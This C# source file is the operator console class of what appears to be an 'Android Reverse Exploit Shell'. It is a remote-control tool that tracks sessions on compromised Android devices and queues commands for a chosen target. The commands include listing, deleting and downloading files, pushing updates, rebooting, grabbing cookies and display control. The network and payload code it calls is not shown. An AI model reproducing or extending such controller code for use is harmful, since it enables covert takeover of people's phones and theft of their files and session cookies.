﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Collections;
using System.Threading;
using System.IO;
using AndroidReverseExploitShell;

namespace AndroidExploitationReverseShell
{
    /// <summary>
    /// controls the console displayed to the user
    /// </summary>
    public class Shell
    {
        /// <summary>
        /// used to store the instance of the singleton implementation
        /// </summary>
        private static Shell instance = null;
        /// <summary>
        /// the position in the pattern that is used to display activity
        /// </summary>
        private static int patternPosition = 0;
        /// <summary>
        /// stores the next command
        /// </summary>
        private string nextCommand = "";
        /// <summary>
        /// the next command to be executed
        /// </summary>
        public string NextCommand {
            get 
            {
                string command = nextCommand;
                nextCommand = "";
                return command;
            }
            private set
            {
                nextCommand = value;
            }
        }
        /// <summary>
        /// the target of the next command
        /// </summary>
        public string Target { get; private set; }

        /// <summary>
        /// implements a singleton, this is the instance
        /// </summary>
        public static Shell Instance
        {
            get
            {
                if (instance == null)
                {
                    instance = new Shell();
                }
                return instance;
            }
        }
        /// <summary>
        /// constructor, private due to singleton implementation
        /// </summary>
        private Shell()
        {
            Session.RunExpiration();
            NetworkService.Start();
        }
        /// <summary>
        /// destructor
        /// </summary>
        ~Shell()
        {
            Session.StopExpiration();
        }
        /// <summary>
        /// starts the command line interface and start interpreting commands
        /// </summary>       
        public void InterpretCommands()
        {
            ShowActivity();
            while (true)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.Write("> ");
                Console.ForegroundColor = ConsoleColor.White;
                string input = Console.ReadLine();
                
                string[] args = input.Split(' ');
                string argString = "";
                for (int i = 1; i < args.Length;i++)
                {
                    argString = args[i];
                }

                switch (args[0]) {
                    case "":
                        break;
                    case "list":
                    case "delete":
                    case "download":
                    case "update":
                    case "reboot":
                    case "cookies":
                    case "display":
                        NextCommand = input;
                        break;
                    case "target":
                        if (args.Length == 2)
                        {
                            Target = args[1];
                            Console.WriteLine("Target set to: " + args[1]);
                        }
                        else
                        {
                            Console.WriteLine("Syntax: target <target>");
                        }
                        break;
                    case "clear":
                        Console.Clear();
                        break;
                    case "sessions":
                        ListSessions();
                        break;
                    default:
                        Console.WriteLine("unknown command");
                        break;
                }

            }
        }
        /// <summary>
        /// displays the list of active sessions on the console
        /// </summary>
        private void ListSessions()
        {
            Session.PrintSessionList();
        }

        /// <summary>
        /// add the given entry to the console
        /// </summary>
        /// <param name="line">the line to add</param>
        /// <param name="beep">(optional) beep on this entry, defaults to false</param>
        public static void AddLogEntry(string line, bool beep = false)
        {
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine("");
            Console.WriteLine(line);
            Console.ForegroundColor = ConsoleColor.Red;
            Console.Write("> ");
            Console.ForegroundColor = ConsoleColor.White;
            if (beep)
            {
                Console.Beep();
            }
        }
        /// <summary>
        /// show that there is activity
        /// </summary>
        public static void ShowActivity()
        {
            string pattern = "-\\|/-\\|/";
            Console.Title = "Android Reverse Exploit Shell - Activity: ["+pattern[patternPosition]+"]";
            patternPosition++;
            if (patternPosition >= pattern.Length) {
                patternPosition = 0;
            }
        }
        /// <summary>
        /// displays the given exception on the console
        /// </summary>
        /// <param name="exception">the exception to display</param>
        public static void ShowException(Exception exception)
        {
            Console.WriteLine("");
            Console.WriteLine("--------------------------EXCEPTION--------------------------");
            Console.WriteLine(exception.Message);
            Console.WriteLine("-------------------------------------------------------------");
            Console.WriteLine(exception.StackTrace.ToString());
            Console.WriteLine("");
        }
    }
}
